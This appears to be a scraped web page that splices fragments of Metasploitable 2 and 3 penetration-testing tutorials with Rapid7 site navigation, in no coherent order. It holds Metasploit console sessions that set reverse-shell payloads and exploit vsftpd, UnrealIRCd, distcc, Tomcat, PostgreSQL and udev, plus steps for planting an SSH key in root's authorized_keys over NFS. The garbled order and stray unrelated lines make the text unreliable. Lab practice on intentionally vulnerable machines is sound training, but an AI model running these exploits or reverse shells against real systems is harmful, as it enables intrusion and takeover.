Exploit target: Id Name Help Command msf exploit(java_rmi_server) > exploit A vulnerability in the history component of TWiki is exploited by this module. [*] A is input Step 7: Display all tables in information_schema. PASSWORD => tomcat However, the exact version of Samba that is running on those ports is unknown. In this demonstration we are going to use the Metasploit Framework (MSF) on Kali Linux against the TWiki web app on Metasploitable. LHOST => 192.168.127.159 Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. -- ---- URI /twiki/bin yes TWiki bin directory path For the final challenge you'll be conducting a short and simple vulnerability assessment of the Metasploitable 2 system, by launching your own vulnerability scans using Nessus, and reporting on the vulnerabilities and flaws that are discovered. RPORT => 8180 RHOSTS yes The target address range or CIDR identifier msf exploit(twiki_history) > set payload cmd/unix/reverse SSLCert no Path to a custom SSL certificate (default is randomly generated) Name Current Setting Required Description List of known vulnerabilities and exploits . This Command demonstrates the mount information for the NFS server. msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159 Proxies no Use a proxy chain Id Name The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. STOP_ON_SUCCESS => true Rapid7 Metasploit Pro installers prior to version 4.13.0-2017022101 contain a DLL preloading vulnerability, wherein it is possible for the installer to load a malicious DLL located in the current working directory of the installer. THREADS 1 yes The number of concurrent threads To build a new virtual machine, open VirtualBox and click the New button. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0. SMBPass no The Password for the specified username Metasploitable Networking: This method is used to exploit VNC software hosted on Linux or Unix or Windows Operating Systems with authentication vulnerability. [*] Attempting to automatically select a target msf auxiliary(smb_version) > set RHOSTS 192.168.127.154 The -Pn flag prevents host discovery pings and just assumes the host is up. Name Current Setting Required Description Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP). Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). Metasploitable 2 is designed to be vulnerable in order to work as a sandbox to learn security. msf exploit(tomcat_mgr_deploy) > show option The web server starts automatically when Metasploitable 2 is booted. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. Commands end with ; or \g. The list is organized in an interactive table (spreadsheet) with the most important information about each module in one row, namely: Exploit module name with a brief description of the exploit List of platforms and CVEs (if specified in the module) Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. msf exploit(vsftpd_234_backdoor) > show options msf exploit(java_rmi_server) > set LHOST 192.168.127.159 [*] A is input You could log on without a password on this machine. [*] Command: echo D0Yvs2n6TnTUDmPF; Lets move on. TOMCAT_PASS no The Password for the specified username Id Name Vulnerability Management Nexpose msf exploit(usermap_script) > set LHOST 192.168.127.159 In the online forums some people think this issue is due to a problem with Metasploit 6 whilst Metasploit 5 does not have this issue. nc: /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c -o 8572 A malicious backdoor that was introduced to the VSFTPD download archive is exploited by this module. PASSWORD no A specific password to authenticate with Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. (Note: A video tutorial on installing Metasploitable 2 is available here.). Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, Downloading and Setting Up Metasploitable 2, Identifying Metasploitable 2's IP Address, https://information.rapid7.com/metasploitable-download.html, https://sourceforge.net/projects/metasploitable/. Display the contents of the newly created file. IP address are assigned starting from "101". RPORT 21 yes The target port Exploit target: [*] Reading from socket B [*] B: "VhuwDGXAoBmUMNcg\r\n" This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. Metasploitable 3 is a build-it-on-your-own-system operating system. RHOST yes The target address If a username is sent that ends in the sequence :) [ a happy face ], the backdoored version will open a listening shell on port 6200. Have you used Metasploitable to practice Penetration Testing? RHOST yes The target address msf auxiliary(postgres_login) > run In the video the Metasploitable-2 host is running at 192.168.56.102 and the Backtrack 5-R2 host at 192.168.56.1.3. When we try to netcatto a port, we will see this: (UNKNOWN) [192.168.127.154] 514 (shell) open. STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev RHOST => 192.168.127.154 Payload options (cmd/unix/interact): Between November 2009 and June 12, 2010, this backdoor was housed in the Unreal3.2.8.1.tar.gz archive. ---- --------------- -------- ----------- [*] B: "f8rjvIDZRdKBtu0F\r\n" In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. High-end tools like Metasploit and Nmap can be used to test this application by security enthusiasts. Step 3: Always True Scenario. In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. [*] 192.168.127.154:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) [*] Started reverse handler on 192.168.127.159:4444 [*] Command: echo VhuwDGXAoBmUMNcg; I thought about closing ports but i read it isn't possible without killing processes. The vulnerability being demonstrated here is how a backdoor was incorporated into the source code of a commonly used package, namely vsftp. A test environment provides a secure place to perform penetration testing and security research. Application Security AppSpider Test your web applications with our on-premises Dynamic Application Security Testing (DAST) solution. Additionally, open ports are enumerated nmap along with the services running. ---- --------------- -------- ----------- [+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282. Below is the homepage served from the web server on Metasploitable and accessed via Firefox on Kali Linux: Features of DVWA v1.0.7 accessible from the menu include: A More Info section is included on each of the vulnerability pages which contains links to additional resources about the vulnerability. msf exploit(unreal_ircd_3281_backdoor) > exploit Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. [*] Command shell session 1 opened (192.168.127.159:57936 -> 192.168.127.154:6200) at 2021-02-06 22:42:36 +0300 The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. Return to the VirtualBox Wizard now. whoami ---- --------------- -------- ----------- Payload options (cmd/unix/reverse): But unfortunately everytime i perform scan with the . The account root doesnt have a password. Name Current Setting Required Description It is a low privilege shell; however, we can progress to root through the udev exploit,as demonstrated later. Keywords vulnerabilities, penetration testing, Metasploit, Metasploitable 2, Metasploitable 3, pen-testing, exploits, Nmap, and Kali Linux Introduction Metasploitable 3 is an intentionally vulnerable Windows Server 2008R2 server, and it is a great way to learn about exploiting windows operating systems using Metasploit. When we performed a scan with Nmap during scanning and enumeration stage, we have seen that ports 21,22,23 are open and running FTP, Telnet and SSH . The same exploit that we used manually before was very simple and quick in Metasploit. Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. Matching Modules DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App. First, from the terminal of your running Metasploitable2 VM, find its IP address.. Reference: Linux IP command examples Second, from the terminal of your Kali VM, use nmap to scan for open network services in the Metasploitable2 VM. msf exploit(postgres_payload) > show options [*] Accepted the first client connection Step 1:Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. [*] udev pid: 2770 [*] Matching On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. So, as before with MySQL, it is possible to log into this database, but we have checked for the available exploits of Metasploit and discovered one which can further the exploitation: The Postgresaccount may write to the /tmp directory onsome standard Linux installations of PostgreSQL and source the UDF Shared Libraries om there, enabling arbitrary code execution. Step 2: Vulnerability Assessment. RHOST 192.168.127.154 yes The target address After the virtual machine boots, login to console with username msfadmin and password msfadmin. Type help; or \h for help. rapid7/metasploitable3 Wiki. msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module. NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. RPORT => 445 Exploits include buffer overflow, code injection, and web application exploits. These are the default statuses which can be changed via the Toggle Security and Toggle Hints buttons. [*] chmod'ing and running it LHOST yes The listen address In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. . Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Step 5: Display Database User. In the next section, we will walk through some of these vectors. Set-up This . Find what else is out there and learn how it can be exploited. Module options (exploit/unix/ftp/vsftpd_234_backdoor): msf exploit(distcc_exec) > set RHOST 192.168.127.154 -- ---- Id Name Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. [*] Automatically selected target "Linux x86" Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version 0 Automatic 0 Automatic It aids the penetration testers in choosing and configuring of exploits. msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. [*] Writing to socket A In Cisco Prime LAN Management Solution, this vulnerability is reported to exist but may be present on any host that is not configured appropriately. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: On port 21, Metasploitable2 runs vsftpd, a popular FTP server. whoami Pentesting Vulnerabilities in Metasploitable (part 2), VM version = Metasploitable 2, Ubuntu 64-bit. TIMEOUT 30 yes Timeout for the Telnet probe msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat Do you have any feedback on the above examples or a resolution to our TWiki History problem? ---- --------------- -------- ----------- Lets first see what relevant information we can obtain using the Tomcat Administration Tool Default Access module: With credentials, we are now able to use the Apache Tomcat Manager Application Deployer Authenticated Code Execution exploit: You may use this module to execute a payload on Apache Tomcat servers that have a manager application that is exposed. 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